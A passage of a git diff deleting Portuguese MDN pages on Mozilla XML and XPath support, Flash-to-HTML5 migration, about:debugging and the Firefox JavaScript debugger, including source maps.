Para pointing em recursos nos documentos XML, Mozilla também suporta FIXptr, uma versão simplificada e não-compatível do XPointer. Em adição ao uso do FIXptr em links, é possível usá-lo a partir de scripts. Veja a interface proprietária dom/public/idl/core/nsIDOMXMLDocument.idl. Há um caso de exemplo para FIXptr links e um exemplo de scripting. -

Desde 1.4 alpha, Mozilla também suporta XPointer Framework, esquema XPointer element(), esquema XPointer xmlns(), esquema XPointer fixptr() e esquema XPointer xpath1(). O processador XPointer é extensível e é fácil de implementar suporte para outros esquemas - dê uma olhada em API. O esquema xpath1() foi implementado usando este mecanismo extensível. Há também uma API proprietária de <i>scripts</i> para o processador XPointer. Há um caso de exemplo para XPointers que você também pode estudar. -

Por último, há uma preferência que você talvez queira testar (especialmente útil com FIXptr) que selecionará a área de alvo do link quando você atravessá-la. Não ná interface de usuário para configurar esta preferência ainda, então você precisará editar o arquivo de preferências manualmente. Adicione esta linha: -

-
pref("layout.selectanchor", true);
-
-

Métodos de carregamento e salvamento do DOM

-

document.load() é uma parte de uma antiga versão do DOM Level 3 Load & Save module do W3C. O Mozilla atualmente implementa somente o método load() e a propriedade async. Desde 1.4 alpha é possível carregar documentos sincronicamente, antes só era possível de maneira assíncrona. Veja a amostra de carregamento no diretório de textes XML. (Carregando o arquivo load.html da página LXR gerada não trabalhará, pois o LXR converterá o arquivo test.xml em HTML e servirá como HTML. Para testar esta funcionalidade, crie os arquivos no seu disco local ou em um servidor web.) -

-

Recomendações XML externas ao suporte W3C

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Especificação ou Tecnologia -Documentação -Projeto Mozilla -
XSLT -Recomendação W3C -XSLT -
XPath -Recomendação W3C -XSLT -
XMLHttpRequest -Esboços W3C -Extras XML -
DOMParser e XMLSerializer -Mozilla -Extras XML -
SAX -http://www.saxproject.org/ - -
SOAP -Nota W3C -Serviços Web -
XML-RPC -UserLand Software -XML-RPC -
RDF -Recomendações W3C -RDF -
SVG -Recomendações Propostas W3C -SVG -
MathML -Recomendações W3C -MathML -
P3P -Recomendações W3C -P3P -
WSDL -Nota W3C -Serviços Web -
XBL -Referência XBL do Mozilla - -
XUL -Referência XUL do Mozilla - -
-

Roadmap

-

As próximas grandes tarefas incluem o suporte para o esquema XPointer xpointer() (bug 32832), XInclude (bug 201754), XML Catalogs (bug 98413), XForms (bug 97806; o trabalho está sendo feito na implementação desde como extensão), análise de validação (bug 196355),Esquemas XML, e incremento da disposição do documento XML (bug 18333). -

Para a completa implementação do XLink, nós precisamos de um gerenciador de links. Veja alguns documentos de design iniciais. -

-

Testes e Garantia de Qualidade

-

Nós temos muitos casos de teste linkados à página de garantia de qualidade dae conformidade de padrões de navegador. -

A maioria dos principais documentos de teste XML no servidor CVS estão localizados em content/xml/tests. Nós temos também um par online: os livros demonstrações e a tabela de conteúdos de demonstração de IRS. Ambos demonstram XML, Associação de folhas de estilo ao XML, exibição de XML com CSS, Namespaces em XML, XLinks simples e manipulação do XML com scripts via DOM. -

Há um componente XML em Bugzilla. -

Nós também temos a palavra-chave "xhtml" para erros XHTML (estes tendem a ser dispersados através de componentes). -

-

Como eu posso ajudar?

-

Se você pode programar, procure a palavra-chave helpwanted em erros XML. Nós não usamos isto sempre, então se você deseja evitar fazer trabalho duplicado você pode começar trabalhando em erros que tem futuros milestones, ou outro milestone que esteja definido bem para o futuro. -

Você pode sempre testar nosso suporte XML. Nós realmente gostaríamos de pegar testes que podem rodar automaticamente (isto pode requerer conhecimento em desenvolvimento web; document.load() e/ou Extras XML poderão ser necessários), mas provavelmente a maioria dos erros que tenhamos acabado de encontrar são por pessoas normais tentando fazer alguma coisa que funcione em alguns navegadores e não funciona no Mozilla. -

Categorias -

Interwiki Language Links -

diff --git a/files/pt-pt/orphaned/xpath/eixos/index.html b/files/pt-pt/orphaned/xpath/eixos/index.html deleted file mode 100644 index fe07f46948..0000000000 --- a/files/pt-pt/orphaned/xpath/eixos/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Eixos -slug: orphaned/XPath/Eixos -tags: - - Referência_XPath - - Todas_as_Categorias - - XPath -original_slug: XPath/Eixos ---- -

-{{ XsltRef() }} -Existem trez diferentes eixos na especificação XPath. Um eixo representa o relacionamento ao contexto do nó e é usado para localizar nós relativos àquele nó na árvore. O que segue é uma estremamente breve descrição dos trezes eixos disponíveis e o grau de suporte disponível em Gecko. -

Para leitura adicional sobre utilização de expressões XPath, por favor veja a seção Para leitura adicional no fim do documento Transformar XML com XSLT. -


-

-
ancestor -
Indica todos os antecessores do nó de contexto, começando com o nó-pai e transpassando ao nó-raiz. -
ancestor-or-self -
Indica o nó de contexto e todos os seus antecessores, incluindo o nó-raiz. -
attribute -
Indica atributos do nó de contexto. Somente elementos têm atributos. Este eixo pode ser abreviado com o sinal (@). -
child -
Indica o filho do nó de contexto. Se uma expressão XPath não especifica um eixo, é etendido por padrão. Somente o nó-raiz ou nós de elemento tem filhos, qualquer outro não selecionará nada. -
descendant -
Indica todos os filhos do nó de contexto e todos os seus filhos, e assim por diante. Os nós de atributo e namespace não estão incluídos — o parent de um nó de attribute é um nó de elemento, mas nós attribute não são filhos de seus pais. -
descendant-or-self -
Indica o nó de contexto e todos os seus descendentes. Os nós de atributo e namepace não são incluídos dos seus pais. -
following -
Indica todos os nós que aparecem depois do nó de contexto, exceto qualquer nó descendant, attribute, e namespace. -
following-sibling -
Indica todos os nós que tenham como mesmo pai o nó de contexto e apareçam depois do nó de contexto no código do documento. -
namespace (não suportado) -
Indica todos os nós que estão ao alcançe do nó de contexto. Neste caso, o nó de contexto deve ser um nó-elemento. -
parent -
Indica os nós singulares que são pais do nó de contexto. Isto pode ser abreviado em dois períodos (..). -
preceding -
Indica todos os nós que precedem o nó de contexto no documento, exeto nós ancestor, attribute e namespace. -
preceding-sibling -
Indica todos os nós que tem como pai o nó de contexto e aparecem antes do nó de contexto no código do documento. -
self -
Indica o próprio nó de contexto. Isto pode ser abreviado em um período simples (.). -
-

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/XPath/Axes", "es": "es/XPath/Ejes", "fr": "fr/XPath/Axes", "pl": "pl/XPath/Osie" } ) }} diff --git "a/files/pt-pt/orphaned/xpath/fun\303\247\303\265es/index.html" "b/files/pt-pt/orphaned/xpath/fun\303\247\303\265es/index.html" deleted file mode 100644 index f892bf8f72..0000000000 --- "a/files/pt-pt/orphaned/xpath/fun\303\247\303\265es/index.html" +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Funções -slug: orphaned/XPath/Funções -tags: - - Referência_XPath - - Todas_as_Categorias - - XPath -original_slug: XPath/Funções ---- -

-{{ XsltRef() }} -A seguinte lista é uma lista de anotações das funções do XPath e XSLT — adições específicas para o XPath, incluindo uma descrição, sintaxe, uma lista de argumentos, tipo de resultados, código na recomendação apropriada W3C, e suporte presente Gecko. Para informações adicionais sobre utilização das funções do XPath/XSLT, por favor veja a página:. -

- -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/Transforming_XML_with_XSLT/For_Further_Reading", "en": "en/XPath/Functions", "fr": "fr/XPath/Fonctions", "pl": "pl/XPath/Funkcje" } ) }} diff --git a/files/pt-pt/plugins/flash_to_html5/index.html b/files/pt-pt/plugins/flash_to_html5/index.html deleted file mode 100644 index 8a525f39ae..0000000000 --- a/files/pt-pt/plugins/flash_to_html5/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Guia de migração de Flash para HTML5 -slug: Plugins/Flash_to_HTML5 -tags: - - Complementos - - Flash - - HTML5 - - Jogos - - Plug-ins - - Publicidade - - Sockets - - Video - - anuncios - - Área de transferência -translation_of: Plugins/Flash_to_HTML5 -original_slug: Plugins/Flash_para_HTML5 ---- -

Este conjunto de artigos fornece informação sobre como migrar o conteúdo e a funcionalidade do Flash existente para HTML e JavaScript.

- -

Background

- -

Flash became very popular in the late 1990s to early 2000s because it provided an effective way to create rich content on the web — such as animations, games, and video players. However, it has a number of issues; the Flash Player causes security and performance problems, and leads to bloated pages. In addition, the modern web platform has feature parity with Flash, so you no longer need to rely on plugins to implement rich content.

- -

Browsers are working together to move carefully towards a plugin-free web (see our Plugin Roadmap), so developers should start migrating their Flash-based functionality to open web technologies as soon as possible.

- -
-
-

Vídeo

- -

All you need to know to move your video requirements over from Flash to HTML5 (see the Flash video to HTML5 video landing page also).

- -

Planeamento

- -
-
Planning your transition from Flash video to HTML5 video
-
Transitioning from Flash to HTML5 can take several months and may require new skills and software. This guide shows you how to plan for that transition, and contains two main parts, Content audit and Decision points.
-
- -

Processo

- -
-
File format conversion
-
Once you've planned out what you want to do, the first step is to convert your video files into formats compatible with HTML embedding.
-
DRM and authentication
-
If your media requires authentication/rights to access, you'll need to work out how to hook up the necessary DRM and authentication mechanisms.
-
Video advertising
-
You may also want to incorporate advertising into your video delivery system, via an ad network.
-
Distribution
-
A CDN is a popular choice for effective delivery of media content.
-
Video and audio players
-
There are a number of ways to play back web media depending on the scale of your needs and whether you need ad integration and digital rights management.
-
Subtitles and captions
-
Just as audio and video may need transcoding for the web, subtitles and captions may also need to be converted and made available.
-
-
- -
-

Outros tópicos

- -

Other common Flash use cases that should now be migrated to HTML5.

- -
-
Open web games
-
Flash games used to be very common, but the open web is now a viable platform for creating and distibuting games.
-
Real-time apps with WebSockets
-
Flash TCP sockets have been commonly used to create real-time multiuser apps such as chat apps, but they can be replaced with WebSockets.
-
Clipboard access
-
Flash's clipboard API used to be the only available means for creating advanced clipboard functionality, but this is now available in web standards.
-
Content and advertising visibility with Intersection Observer
-
Flash used to be a simple but slow way to detect content and advertising visibility on the page. The web platfom now has the Intersection Observer API to do this better and faster.
-
Flexible user interfaces with CSS
-
Adobe Flex used to provide a way to effectively create flexible user interfaces on the web, but the open web platform now boasts powerful CSS layout systems like Grid and Flexbox to close the gap.
-
Camera/Microphone access with WebRTC
-
Developers used to rely exclusively on Flash for accessing the user's camera and microphone, but this can now be achieved with WebRTC and related technologies. See also Media Capture and Streams API and getUserMedia for useful starting points.
-
File selection using the File API
-
The web platform has functionality accessing files on the user's file system, e.g. for upload or display. See <input type="file"> and Using files from web applications for useful resources.
-
-
-
- -

Obter ajuda

- -

If you find that our migration guide leaves you with any questions unanswered, please don't hesitate to visit our MDN Discourse page and ask them there.

diff --git a/files/pt-pt/tools/about_colon_debugging/index.html b/files/pt-pt/tools/about_colon_debugging/index.html deleted file mode 100644 index 7f246250a7..0000000000 --- a/files/pt-pt/tools/about_colon_debugging/index.html +++ /dev/null @@ -1,250 +0,0 @@ ---- -title: 'about:debugging' -slug: 'Tools/about:debugging' -tags: - - Depurador - - Depuração remota - - sobre depuração -translation_of: 'Tools/about:debugging' ---- -
{{ToolsSidebar}}
- -

A página de about:debugging fornece um local único a partir do qual pode anexar as "'Ferramentas de Desenvolvimento" do Firefox para um número de destinos de depuração. De momento este suporta três tipos principais de destinos: extras sem restrições, separadores, e workers.

- -

Abrir a página de about:debugging

- -

Existem dois modos para abrir about:debugging:

- -
    -
  • Digite  about:debugging na barra de URL do Firefox.
  • -
  • No menu clique em Ferramentas de Programação > clique em Depuração Remota.
  • -
- -

Quando about:debugging abrir, no lado esquerdo, irá ver uma barra lateral com duas opções e informação sobre a configuração da depuração remota.

- -
-
Configuração
-
Use the Setup tab to configure the connection to your remote device.
-
Este Firefox
-
Provides information about temporary extensions you have loaded for debugging, extensions that are installed in Firefox, the tabs that you currently have open, and service workers running on Firefox.
-
- -

- -

Se a sua página de about:debugging é diferente da exibida aqui, vá paraabout:config, encontre e defina a opção devtools.aboutdebugging.new-enabled para true.

- -

Configurar o separador

- -

Ligar a um dispositivo remoto

- -

Firefox supports debugging over USB with Android devices, using the about:debugging page.

- -

Before you connect:

- -
    -
  1. Enable Developer settings on your Android device.
  2. -
  3. Enable USB debugging in the Android Developer settings.
  4. -
  5. Enable Remote Debugging via USB in the Advanced Settings in Firefox on the Android device.
  6. -
  7. Connect the Android device to your computer using a USB cable.
  8. -
- -

If your device doesn't appear in the lefthand side of the about:debugging page, try clicking the Refresh devices button.

- -

If it still doesn't appear, it may be because the link between your Android device and your computer is not authorized yet. First make sure you have installed Android Debug Bridge from Android Tools on your computer in order for it to be able to connect to your device. Next, disable every debugging setting already activated and repeat the steps described before. Your device should show a popup to authorize your computer to connect to it — accept this and then click the Refresh devices button again. The device should appear.

- -
-

Nota: You do not need to install the full Android Studio SDK. Only adb is needed.

-
- -

To start a debugging session, first open the page that you wish to debug and then click Connect next to the device name to open a connection to it. If the connection was successful, you can now click the name of the device to switch to a tab with information about the device.

- -

Screenshot of the debugging page for an Android device

- -

The information on this page is the same as the information on the This Firefox tab, but instead of displaying information for your computer, it displays the information for the remote device with the addition of a Tabs section with an entry for each of the tabs open on the remote device.

- -

Note: If the version of Firefox on your remote device is more than one major version older than the version running on your computer, you may see a message like the following:

- -

The connected browser has an old version (68.2.0). The minimum supported version (69.0a1). This is an unsupported setup and may cause DevTools to fail. Please update the connected browser.

- -

In Firefox 76 and above, the message can look like the following:

- -

This version of Firefox cannot debug Firefox for Android (68). We recommend installing Firefox for Android Nightly on your phone for testing. More details

- -

See Connection for Firefox for Android 68 for more information.

- -

In the image above, there are three tabs open: Network or cache RecipeNightly Home, and About Nightly. To debug the contents of one of these tabs, click the Inspect button next to its title. When you do, the Developer Tools open in a new tab.

- -

- -

Above the usual list of tools, you can see information about the device you are connected to, including the fact that you are connected (in this example) via USB, to Mozilla Firefox Nightly, on a Moto G(5), as well as the title of the page that you are debugging, and the address of the page.

- -

Ligar através da Rede

- -

Pode ligar a um servidor de «Depuração» do Firefox na sua rede, ou na sua máquina de depuração utilizando as definições de Localização da rede da página about:debugging.

- -

- -

Enter the location and port on which the debugger server is running. When you do, it is added to the Network locations list along with the devices, as shown below:

- -

- -

Este Firefox

- -

O separador Este Firefox combina as funcionalidades das «Extensões», «Separadores», e «Workers» num único separador com as secções seguintes:

- -
-
Extensões temporárias
-
Displays a list of the extensions that you have loaded using the Load Temporary Add-on button.
-
Extensões
-
This section lists information about the extensions that you have installed on your system.
-
Service Workers, Shared Workers, e Outros Workers
-
There are three sections on this page that deal with Service Workers, Shared Workers, and Other Workers.
-
- -

- -

Whether internal extensions appear in the list on this page depends on the setting of the devtools.aboutdebugging.showHiddenAddons preference. If you need to see these extensions, navigate to about:config and make sure that the preference is set to true.

- -

Extensões

- -

Carregar uma extensão temporária

- -

With the Load Temporary Add-on button you can temporarily load a web extension from a directory on disk. Click the button, navigate to the directory containing the add-on and select its manifest file. The temporary extension is then displayed under the Temporary Extensions header.

- -

You don't have to package or sign the extension before loading it, and it stays installed until you restart Firefox.

- -

The major advantages of this method, compared with installing an add-on from an XPI, are:

- -
    -
  • You don't have to rebuild an XPI and reinstall when you change the add-on's code;
  • -
  • You can load an add-on without signing it and without needing to disable signing.
  • -
- -

Once you have loaded a temporary extension, you can see information about it and perform operations on it.

- -

Screenshot of the debugging information panel for a temporary extension

- -

You can use the following buttons:

- -
-
Inspect
-
Loads the extension in the debugger.
-
Reload
-
Reloads the temporary extension. This is handy when you have made changes to the extension.
-
Remove
-
Unloads the temporary extension.
-
- -

Other information about the extension is displayed:

- -
-
Location
-
The location of the extension's source code on your local system.
-
Extension ID
-
The temporary ID assigned to the extension.
-
Internal UUID
-
The internal UUID assigned to the extension.
-
Manifest URL
-
If you click the link, the manifest for this extension is loaded in a new tab.
-
- -

Atualizar uma extensão temporária

- -

If you install an extension in this way, what happens when you update the extension?

- -
    -
  • If you change files that are loaded on demand, like content scripts or popups, then changes you make are picked up automatically, and you'll see them the next time the content script is loaded or the popup is shown.
  • -
  • For other changes, click the Reload button. This does what it says: - -
  • -
- -

Extensões Instaladas

- -

The permanently installed extensions are listed in the next section, Extensions. For each one, you see something like the following:

- -

Screenshot of the debugging information panel for an installed extension

- -

The Inspect button, and the Extension ID and Internal UUID fields are the same as for temporary extensions.

- -

Just as it does with temporarily loaded extensions, the link next to Manifest URL opens the loaded manifest in a new tab.

- -
-

Nota: It's recommended that you use the Browser Toolbox, not the Add-on Debugger, for debugging WebExtensions. See Debugging WebExtensions for all the details.

-
- -

The Add-ons section in about:debugging lists all web extensions that are currently installed. Next to each entry is a button labeled Inspect.

- -
-

Nota: This list may include add-ons that came preinstalled with Firefox.

-
- -

If you click Inspect, the Add-on Debugger will start in a new tab.

- -

{{EmbedYouTube("efCpDNuNg_c")}}

- -

See the page on the Add-on Debugger for all the things you can do with this tool.

- -

Workers

- -

The Workers page shows your workers, categorised as follows:

- - - -

You can connect the developer tools to each worker, and send push notifications to service workers.

- -

- -

Service worker state

- -

The list of service workers shows the state of the service worker in its lifecycle. Three states are possible:

- -
    -
  • Registering: this covers all states between the service worker's initial registration, and its assuming control of pages. That is, it subsumes the installingactivating, and waiting states.
  • -
  • Running: the service worker is currently running. It's installed and activated, and is currently handling events.
  • -
  • Stopped: the service worker is installed and activated, but has been terminated after being idle.
  • -
- -

Screenshot of the debugging panel for a service worker that is in the Running state

- -
-

This section uses a simple ServiceWorker demo, hosted at https://serviceworke.rs/push-simple/.

-
- -

Unregistering service workers

- -

Click the Unregister button to unregister the service worker.

- -

Sending push events to service workers

- -

To debug push notifications, you can set a breakpoint in the push event listener. However, you can also debug push notifications locally, without needing the server. Click the Push button to send a push event to the service worker.

- -

Service workers not compatible

- -

A warning message is displayed at the top of the This Firefox tab if service workers are incompatible with the current browser configuration, and therefore cannot be used or debugged.

- -

- -

Service workers can be unavailable if the dom.serviceWorkers.enable preference is set to false in about:config.

- -

Ligação ao Firefox para Android 68

- -

Releases of Firefox for Android that are based on version 68 cannot be debugged from desktop Firefox versions 69 or later, because of the difference in release versions. Until such time as Firefox for Android is updated to a newer major release, in synch with desktop Firefox, you should use one of the following Firefox for Android versions:

- - - -

If you prefer to test with the main release of Firefox for Android (i.e., based on release 68), you can do so with the desktop Firefox Extended Support Release (ESR), which is also based on version 68.

- -

Note that about:debugging is not enabled by default in Firefox ESR.  To enable it, open the Configuration Editor (about:config) and set devtools.aboutdebugging.new-enabled to true.

- -

If you used a higher version of Firefox prior to installing Firefox ESR, you will be prompted to create a new user profile, in order to protect your user data. For more information, see What happens to my profile if I downgrade to a previous version of Firefox?

diff --git a/files/pt-pt/tools/debugger/how_to/index.html b/files/pt-pt/tools/debugger/how_to/index.html deleted file mode 100644 index 084f1717e5..0000000000 --- a/files/pt-pt/tools/debugger/how_to/index.html +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: How to -slug: Tools/Debugger/How_to -tags: - - NeedsTranslation - - TopicStub -translation_of: Tools/Debugger/How_to ---- -
{{ToolsSidebar}}

These articles describe how to use the debugger.

- -

{{ ListSubpages () }}

diff --git a/files/pt-pt/tools/debugger/how_to/open_the_debugger/index.html b/files/pt-pt/tools/debugger/how_to/open_the_debugger/index.html deleted file mode 100644 index c6fbe553ca..0000000000 --- a/files/pt-pt/tools/debugger/how_to/open_the_debugger/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Abrir o depurador -slug: Tools/Debugger/How_to/Open_the_debugger -translation_of: Tools/Debugger/How_to/Open_the_debugger -original_slug: Tools/Debugger/How_to/Abrir_o_depurador ---- -
{{ToolsSidebar}}
- -

Existem três maneiras para abrir o depurador:

- -
    -
  • Selecione "Depurador" no submenu de "Ferramentas de Programação" no Menu do Firefox (ou no menu de Ferramentas se exibe a barra do menu ou está num Mac OS X)
  • -
  • -

    Pressione Ctrl + Shift + Z no Windows e no Linux, ou Cmd + Opt + Z no macOS (a partir do Firefox 71; anterior ao Firefox 66, a letra neste atalho era S).

    -
  • -
  • Clique no botão ( new fx menu ) Menu, selecione "Ferramentas de programação", depois "Depurador".
  • -
- -

{{EmbedYouTube("yI5SlVQiZtI")}}

diff --git a/files/pt-pt/tools/debugger/how_to/use_a_source_map/index.html b/files/pt-pt/tools/debugger/how_to/use_a_source_map/index.html deleted file mode 100644 index 93144c1b5f..0000000000 --- a/files/pt-pt/tools/debugger/how_to/use_a_source_map/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Utilizar um "source map" -slug: Tools/Debugger/How_to/Use_a_source_map -translation_of: Tools/Debugger/How_to/Use_a_source_map ---- -
{{ToolsSidebar}}
- -

As fontes de JavaScript executadas pelo navegador são geralmente transformadas de alguma forma a partir das fontes originais criadas por um programador. Por exemplo:

- -
    -
  • sources são geralmente combinadas e reduzidas para tornar mais eficiente a entrega das mesmas a partir do servidor.
  • -
  • O JavaScript em execução numa página é geralmente gerado por máquina, como quando compilado a partir de um idioma como CoffeeScript ou TypeScript.
  • -
- -

Nessas situações, é muito mais fácil debugar o fonte original do que o fonte no estado transformado que o navegador obteve. Um source map é um arquivo que mapea da fonte transformada para a original, permitindo ao navegador reconstruir a fonte original e disponibilizá-la no debugger.

- -

Para que o navegador trabalhe com um source map, você deve:

- -
    -
  • gerar o source map
  • -
  • incluir um comentário no arquivo transformado que aponte para o source map. A sintaxe do comentário é assim:
  • -
- -
//# sourceMappingURL=http://example.com/path/to/your/sourcemap.map
- -

{{EmbedYouTube("Fqd15gHC4Pg")}}

- -

No vídeo acima carregamos https://mdn.github.io/devtools-examples/sourcemaps-in-console/index.html. Essa página carrega um fonte chamado "main.js" que foi originalmente escrito em CoffeeScript e compilado para JavaScript. O fonte compilado contém um comentário assim, que aponta para o source map:

- -
//# sourceMappingURL=main.js.map
- -

No source list pane do Debugger, o fonte original CoffeeScript agora aparece como "main.coffee", e podemos acessá-lo para debugar como qualquer outra fonte.

diff --git a/files/pt-pt/tools/debugger/index.html b/files/pt-pt/tools/debugger/index.html deleted file mode 100644 index dc6feaf51b..0000000000 --- a/files/pt-pt/tools/debugger/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Depurador -slug: Tools/Debugger -tags: - - Depurador - - Depuração - - Ferramentas - - Ferramentas de Desenvolvimento - - Firefox OS - - 'l10n:prioridade' -translation_of: Tools/Debugger ---- -
{{ToolsSidebar}}
- -
O «Depurador» de JavaScript permite-lhe explorar o código de JavaScript e examinar ou modifcar o seu estado para ajudar a rastrear erros (bugs).
- -
- -
-

{{EmbedYouTube("QK4hKWmJVLo")}}

- -

Pode-o utilizar para depurar código em execução localmente no Firefox ou em execução remotamente, por exemplo num dispositivo Android a executar o Firefox para Android. Consulte depuração remota para saber como ligar o depurador a um destino remoto.

- -

To find your way around the debugger, here's a quick tour of the UI.

-
- -

Como...

- -

Para saber o que pode fazer com o depurador, consulte os guias seguintes:

- - - -
-

Referência

- - diff --git a/files/pt-pt/tools/debugger/source_map_errors/index.html b/files/pt-pt/tools/debugger/source_map_errors/index.html deleted file mode 100644 index 4e5dfc450a..0000000000 --- a/files/pt-pt/tools/debugger/source_map_errors/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Source map errors -slug: Tools/Debugger/Source_map_errors -tags: - - Depurador - - Depuração - - Ferramentas - - Ferramentas de Desenvolvimento - - Referencia - - Source maps -translation_of: Tools/Debugger/Source_map_errors ---- -
{{ToolsSidebar}}
- -

Source maps são ficheiros JSON que fornecem um modo para associar as fontes transformadas, como visto pelo navegador, com as suas fontes originais, conforme escrito pelo programador. Às vezes, pode encontrar problemas ao trabalhar com source maps. Esta página explica os problemas mais comuns e como os corrigir.

- -
-

Nota: se é novo para source maps, pode saber mais sobre os mesmo em How to use a source map.

-
- -

Reportar "Source map error" geral

- -

If you do see a problem, a message will appear in the webconsole. This message will show an error message, the resource URL, and the source map URL:

- -

Error from invalid JSON

- -

Here, the resource URL tells us that bundle.js mentions a source map, and the source map URL tells us where to find the source map data (in this case, relative to the resource).  The error tells us that the source map is not JSON data — so we're serving the wrong file.

- -

There are a few common ways that source maps can go wrong; they are detailed in the following sections.

- -

"Source map" está em falta ou inacessível

- -

O recurso source map pode estar em falta ou inacessível.

- -

Source map file is missing

- -

The fix here is to make sure the file is being served and is accessible to the browser

- -

"Source map" inválido

- -

The source map data can be invalid — either simply not a JSON file at all, or with an incorrect structure. Typical error messages here are:

- -
    -
  • SyntaxError: JSON.parse: unexpected character at line 1 column 1 of the JSON data
  • -
  • Error: "version" is a required argument
  • -
- -

Error: "version" is a required argument

- -

"Source" original está em falta

- -

An original source may be missing.  You may encounter this when trying to open one of the original sources in the debugger. The message looks a little different in this case:

- -

Debugger source tab showing the error

- -

In this case, the error will also be displayed in the source tab in the debugger:

- -

Debugger source tab showing the error

- -

"NetworkError" quando tenta obter o recurso

- -

A bug in Firefox prevents it from loading source maps for web extensions.

- -

See Bug 1437937: WebExtensions Doesn't Find Source Maps for details.

- -
Source-Map-Fehler: TypeError: NetworkError when attempting to fetch resource.
- Ressourcen-Adresse: moz-extension://c7f0f003-4fcf-49fd-8ec0-c49361266581/background.js
- Source-Map-Adresse: background.js.map
- -

The only workaround is to manually change the map URL to a public one (http://localhost:1234/file.map.js) and start a local webserver at this port.

diff --git a/files/pt-pt/tools/debugger/ui_tour/index.html b/files/pt-pt/tools/debugger/ui_tour/index.html deleted file mode 100644 index 8eb582bc4e..0000000000 --- a/files/pt-pt/tools/debugger/ui_tour/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Demonstração da IU -slug: Tools/Debugger/UI_Tour -translation_of: Tools/Debugger/UI_Tour -original_slug: Tools/Debugger/Demonstracao_IU ---- -
{{ToolsSidebar}}

Este artigo é uma demonstração rápida das secções principais da interface do utilizador do 'Depurador de JavaScript'. A IU está dividida verticalmente em 3 painéis:

- - - -

- -

Painel da lista fonte

- -

The source list pane lists all the JavaScript source files loaded into the page, and enables you to select one to debug. At the top level sources are organized by origin, and under that they're organized by the directory structure from which they are served.

- -

- -

You can search for a file using Ctrl + P (Cmd + P on a Mac).

- -

Painel fonte

- -

This shows the JavaScript file currently loaded.

- -

When the source pane is focused you can search for a string in the file using Ctrl + F (Cmd + F on a Mac).

- -

Breakpoints have a blue arrow overlaid on the line number. Conditional breakpoints have an orange arrow. If you're stopped at a breakpoint, the entire line gets a green overlay. In the screenshot below there are three breakpoints:

- -
    -
  • line 19 has a normal breakpoint
  • -
  • line 40 has a normal breakpoint, and the debugger is paused there
  • -
  • line 22 has a conditional breakpoint.
  • -
- -

- -

Barra de Ferramentas

- -

No topo do painel à direita, existe uma barra de ferramentas:

- -

- -

A barra de ferramentas consiste em:

- - - -

- -

Lista de ponstos de quebra

- -

Under the toolbar, you'll see all the breakpoints you've set. Next to each breakpoint is a checkbox which you can use to enable/disable it:

- -

- -

 

- -

 

- -

Call stack

- -

 

- -

 

- -

When the debugger's paused, you'll see a call stack:

- -

Each level of the call stack gets a line, with the name of the function and the filename and line number. Clicking the line opens that source in the source pane.

- -

Scopes

- -

In the right-hand pane you'll see a label "Scopes" with a disclosure arrow next to it. When the debugger's paused, you'll be able to expand this section to see all objects that are in scope at this point in the program:

- -

Objects are organized by scope: the most local appears first, and the global scope (Window, in the case of page scripts) appears last.

diff --git a/files/pt-pt/tools/index.html b/files/pt-pt/tools/index.html deleted file mode 100644 index 72720aafb4..0000000000 --- a/files/pt-pt/tools/index.html +++ /dev/null @@ -1,228 +0,0 @@ ---- -title: Ferramentas de Desenvolvimento do Firefox -slug: Tools -tags: - - Desenvolvendo Mozilla - - Desenvolvimento da Web - - 'Desenvolvimento da Web: Ferramentas' - - Ferramentas - - Guía - - Precisa de Tradução - - 'l10n:priority' -translation_of: Tools ---- -
{{ToolsSidebar}}
- -

Examinar, editar, e depurar HTML, CSS, e JavaScript no PC e nos dispositivos móveis.

- -

If you are looking for information on using the web developer tools available in Firefox, you've come to the right place — this page provides links to detailed information on all of the core tools and additional tools, and further information such as how to connect to and debug Firefox for Android, how to extend the devtools, and how to debug the browser as a whole.

- -

Please explore the links found in the sidebar, and further down the page. If you have any feedback or questions about the devtools, send us messages on our mailing list or IRC channel (see the community links near the bottom of the page). If you have any feedback or questions specifically about the documentation, the MDN discourse is a good place to post.

- -
-

Nota: If you are a beginner to web development and using developer tools, our learning web development docs will help you — see Getting started with the Web and What are browser developer tools? for good starting points.

-
- -

As Ferramentas Principais

- -

The right-hand side of the Developer Tools toolbar, which can be opened with  Ctrl + Shift + I on Windows and Linux, or Cmd + Opt + I on OS X, contains several buttons that let you perform actions or change tool settings.

- -

- - - - - - - - - - - - - - - - - - - - - - - - -
This button will only appear when there are multiple iframes on a page. Click it to display a list of the iframes on the current page and select the one with which you want to work.
Click this button to take a screenshot of the current page. (Note: This feature is not turned on by default and must be enabled in settings before the icon will appear.)
Toggles Responsive Design Mode.
Opens the menu that includes docking options, the ability to show or hide the split console, and Developer Tools settings. The menu also includes links to the documentation for Firefox Web Tools and the Mozilla Community.
Closes the Developer Tools
- -
-
-

Inspetor de Página

- -

- -

Ver e editar conteúdo e apresentação da página. Visualize muitos aspetos da página, incluindo o modelo de caixa, animações e apresentações de grelha.

-
- -
-

Consola da Web

- -

- -

Ver mensagens registadas por uma página da Web e interagir com a página utilizando o JavaScript.

-
-
- -
-
-
-

Depurador de JavaScript

- -

- -

Parar, explorar, examinar e modificar o JavaScript em execução numa página.

-
- -
-

Monitor de Rede

- -

- -

Ver os pedidos de rede efetuados quando uma página é carregada.

-
-
- -
-
-
-

Ferramentas de Desempenho

- -

- -

Analise a reação geral do site, JavaScript, e desempenho da apresentação.

-
- -
-

Modo de Desenho Responsivo

- -

- -

Veja como o seu site da Web ou a aplicação serão apresentados e se comportam nos diferentes dispositivos e tipos de rede.

-
-
- -
-

Nota: The collective term for the UI inside which the DevTools all live is the Toolbox.

-
- -

Mais Ferramentas

- -

Estas ferramentas de desenvolvimento também estão integradas no Firefox. Ao contrário das 'Ferramentas Principais' acima, pode não utilizá-las todos os dias.

- -
-
-
Memória
-
Figure out which objects are keeping memory in use.
-
Inspetor de Armazenamento 
-
Inspect cookies, local storage, indexedDB, and session storage present in a page.
-
DOM Property Viewer
-
